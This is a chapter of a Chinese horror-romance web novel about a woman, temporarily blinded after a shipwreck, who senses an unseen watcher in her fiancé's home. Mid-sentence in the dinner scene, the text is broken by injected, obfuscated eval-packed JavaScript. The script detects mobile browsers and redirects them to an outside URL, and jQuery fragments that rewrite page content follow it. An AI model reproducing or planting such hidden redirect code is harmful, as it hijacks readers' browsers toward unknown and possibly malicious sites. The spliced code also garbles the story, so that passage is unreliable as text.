楚黎满身冷汗醒来,梦里的景象还在脑海里久久不散——
幽暗海面下,绽开大片深红。
她睁开眼,眼前一片漆黑。
这是楚黎失明的第八天。上周,她和即将订婚的男友霍修去海岛旅行,轮船在行驶时先是遇到浓雾又意外触礁,人员伤亡惨重。
她因头部撞击,淤血压迫视神经暂时性失明。霍修比较幸运,只是受了一些不算重的外伤。
因为楚黎独居,不和父母住一块,出于安全考虑,出院后,霍修将她接到自己家养病。
楚黎朝右侧摸索,指尖摸到了冷硬矮木柜,再继续向前摸,是一只保温杯。杯子里水温正好,喝下去之后缓解了从噩梦醒来的心悸感。
“元宝,几点了?”
“主人,现在是16:35。”
智能助手欢快回应。
房间很安静,只有偶尔的“沙沙”声,从左侧方向传来,大约是风吹纱帘。
莫名的,她觉得有些冷。
长时间处于黑暗中,楚黎忍不住胡思乱想,总觉得房间的每一个角落都站满了长影,正在一动不动凝视她。
正想着,小腹处微妙胀意涌来。
她竭力克制这些念头,摸索着下床,打算去卫生间。脚不小心将一只拖鞋踢开,只好蹲下寻找。
楚黎跪坐在地上,一手扒着床沿,身体向前倾,手伸入床底,顺着冰凉地砖向前摸。
一寸,一寸。
指尖毫无征兆触碰到冰冷柔软的物体。
同时,她感受到一道赤|裸的、难以忽视的视线,像湿冷青苔,躲藏在暗无天日的床底,持续窥伺着。
“啊——!!”
楚黎瞬间缩回手,后背撞在床边矮柜上,震得保温杯滚落,“砰”地砸在她身旁。
房间陷入死寂,她从手指到脊背都是僵麻的,剧烈心跳震得耳膜胀痛。
“黎黎?”
“黎黎?你怎么了!”
男性的声音从上方传来,他说话一贯温和从容,此时听起来很慌乱。
他的声音唤回楚黎的一点理智。
是了,房间里有监控。进门左上角也有一个,床旁的矮柜上也有,这个还能实时对话。它们都是因为她失明才装的。
她僵着手,摸到矮柜上的监控,让它对着床底。
“床底下、床底下有……”
监控那头沉默一会,声音才传来:“黎黎,床底下只有一只你的拖鞋。下午做噩梦了吗?”
楚黎呆了呆,低低应了一声。
霍修温柔安抚:“别怕,我安排一下手上的工作,很快回来。”
又呆坐了一会,她不愿再伸手进床底,踉跄着起身,赤足进卫生间解决了生理需求。
*
处在黑暗中感官被无限放大。
冰凉液体从指缝漏出,水流声哗哗,是卫浴室里唯一的声音。
楚黎站在洗手台前走神。
出院前,医生说落水的经历可能刺激她原本稳定的病情,现在看起来,好像是变严重了。
她心不在焉关掉水,正要转身,一点寒气从脚底蹿到了发梢。
有人站在背后看她。
“咚咚……”
心跳声敲得耳膜发痛,楚黎攥着洗手台沿,手指僵痛。如果她没有失明,只要抬头,就能看见镜子里的自己,以及身后的人。
对方动了,衣料摩挲发出细微响动,声音越来越近。
她的肩头忽然被握住,楚黎像受惊的猫,抓起手边的东西反手就砸。
“啪!”漱口杯与牙刷滚到地上。
“……黎黎?”身后的人声音愕然。
镜中的人赤足站着,睡裙下身形纤瘦,乌黑长发衬得脸愈发苍白。她循声转动眼珠,漂亮眼眸没有焦点,有些雾蒙蒙的。
楚黎转身撞进他怀里,用力搂住他的腰身,干净气息包裹下来,安抚了狂跳的心。
霍修愣了一下,慢慢伸手拥住她,“别怕,是我回来了。”
腰背上的手臂箍到令人喘不上气。
在听见吸气声后,霍修才后知后觉放轻了力度。
“抱歉黎黎,我太担心你了,弄疼了吗?”
楚黎埋在他怀里,闷不做声摇头。
脚下一空,霍修将她抱到了洗漱台上,修长温热的手握住脚踝,用打湿的毛巾擦拭。
他的动作温柔耐心,但一点轻微战栗顺着肌肤往上蹿。
楚黎忍不住缩了一下,握住的手纹丝不动。
他说:“乖,很快就好。”
等擦完脚又换上全新的拖鞋后,楚黎问:“刚刚砸到你没有?”
霍修轻笑:“没事。”
那就是砸到了。她垂下眼,心里有点歉疚,“你怎么回来了也不说话,还以为家里进人了。”
“我回来就看见你开着水,站在这发呆,叫了一声你没应。”
叫了吗?楚黎茫然。
或许叫了吧,她那会确实在出神。
霍修抱起她往外走,“下午是怎么了?”
楚黎搂紧他的脖颈,犹豫着说:“睡醒找鞋时候,床底好像有东西在看我。”
霍修脚步顿了顿,走出客卧,将楚黎放在客厅沙发上。
“别担心,我让人调监控看看。”
这一片的别墅配有管家团队,霍修拨了个电话,那边没一会就给了答复。
从昨天到今天,没有任何陌生人员出入。
意料之中的答案。
楚黎呆坐着。下午的事无非两种答案,一是灵异事件,而是她的病情加重了。
第二种答案的概率无限接近一百,霍修显然也是这样想的。
等楚黎回过神,他已经说了好一会了。
“……出院之前医生说落水的经历可能会诱发病情加重,黎黎,我明天陪你去看心理医生吧?”
心理医生四个字让她没由来地抗拒。
“不去。”她声音很低,“我不去。”
霍修也不勉强,用手指梳理她的长发:“如果接下来一段时间继续这样,就一定要去,好吗?”
楚黎没吭声,算是默认。
霍修为她打开电视,起身去做饭。
综艺频道嘻嘻哈哈,厨房不时传出笃笃声。综艺放完一集,简单的两菜一汤也做好了。
楚黎拒绝了霍修的牵引,摸索着坐到餐桌前。
失明不知道什么时候恢复,她总要适应一下看不见的生活。
餐桌上,两人时不时闲聊几句,谈起了本该在下周举行的订婚仪式。如果不是这次意外,一切都能顺利进行。现在也只能等她眼睛恢复再办了。
楚黎抿了一口汤,味道偏重,还有点腥。两道菜倒是有点淡,炒莴笋切得薄厚不一。
“你的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586274|171770||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手怎么样了?”
霍修给她夹了两块鱼肚肉,“好得差不多了。”
撒谎。
楚黎心不在焉吃掉他夹来的菜,下午两次抱她都是只用左手,分明就是没好。
坠海醒来之后,她就在医院了,霍修忙前忙后照顾她,问起有没有受伤,只轻描淡写说受了点外伤。是出院之前她单独问医生,才知道他右手臂骨裂了。
她没挑嘴,默默吃完了这顿饭。
吃完后霍修去洗碗,楚黎依然坐着听综艺,然后就听见厨房“砰”一声,不知摔碎了什么。
最近他已经摔碎了三次东西,楚黎有些担忧。
“霍修。”她摸索着调低音量,“请个阿姨来上门做饭吧。”
厨房方向的流水声很快停了,然后是碗碟收纳声,很快,脚步声由远及近,停在楚黎附近,沙发下陷,霍修坐在她旁边。
“怎么了?是我最近做的饭不合大小姐口味?”
声音带点笑,无奈又宠溺。是熟悉的口吻。
“你要工作,中午晚上都要回来做饭,太辛苦了。”楚黎往身旁摸,握住他的手,“而且,有阿姨在你也不用分神关注我这边。”
“不是讨厌陌生人上门吗?”
这句话勾起些许不愉快的回忆。楚黎说:“不是讨厌,就是怕发病的时候吓到人家,你提前和上门阿姨说清楚我的情况。”
“好。”一只手圈住她的腰,往旁边带,紧接着肩窝一沉,温热气息贴着肩颈那块肌肤。
楚黎怕痒,下意识推了一下,“你最近好黏人啊。”
最近这段时间,只要不做事,他就会像磁铁一样贴过来。
霍修圈住她不放,在脖颈那块流连闻嗅,声音略低,有些含混:“因为……差点就把你弄丢了。我很担心你,黎黎。”
*
楚黎每天都要服药。
一日三次,饭后吃。她吃得准时,希望淤血尽快吸收,视力恢复。
失去视力后,娱乐生活变得匮乏。她窝在沙发上,听了一会洋柿子小说,听到药效上来,昏昏欲睡。
旁边文件翻页声停了,霍修问:“要不要洗漱睡觉?”
楚黎关了手机,点点头,刚踩住拖鞋就被抱起来。
霍修单手抱她像抱只猫,很轻松,稳步朝二楼走。
“我自己能走。”她锤了一下他的肩膀。
“你看不见,上楼危险。”
“慢慢走就好了,总要适应的,万一视力没那么快恢复呢?”
“没关系,我可以一直照顾你。”
“说得好听。”楚黎故意挑刺,“说不定照顾一段时间你就烦了,还要和我分手。”
霍修停下来,“不会。黎黎,我永远,永远不会离开你。”
这句话咬字清晰,语速缓慢。
她愣了一会,回过神来,才意识到霍修抱着她走进了客卧,下午的经历闪回,她不由后背紧绷。
“等一下!”
鞋底踩过木地板,发出“啪嗒”声,霍修恍若未觉:“怎么了?”
下午打开的窗没有关,夜风吹得纱帘“沙沙”轻响,就像有手在不断拨弄。
楚黎仿佛浸在没有边界的黑暗里,只有身前的人是真实的、温暖的。
“我不想住在这个房间了。”她声音干涩。
沙沙声消失,沉寂片刻后,霍修轻笑:“好。”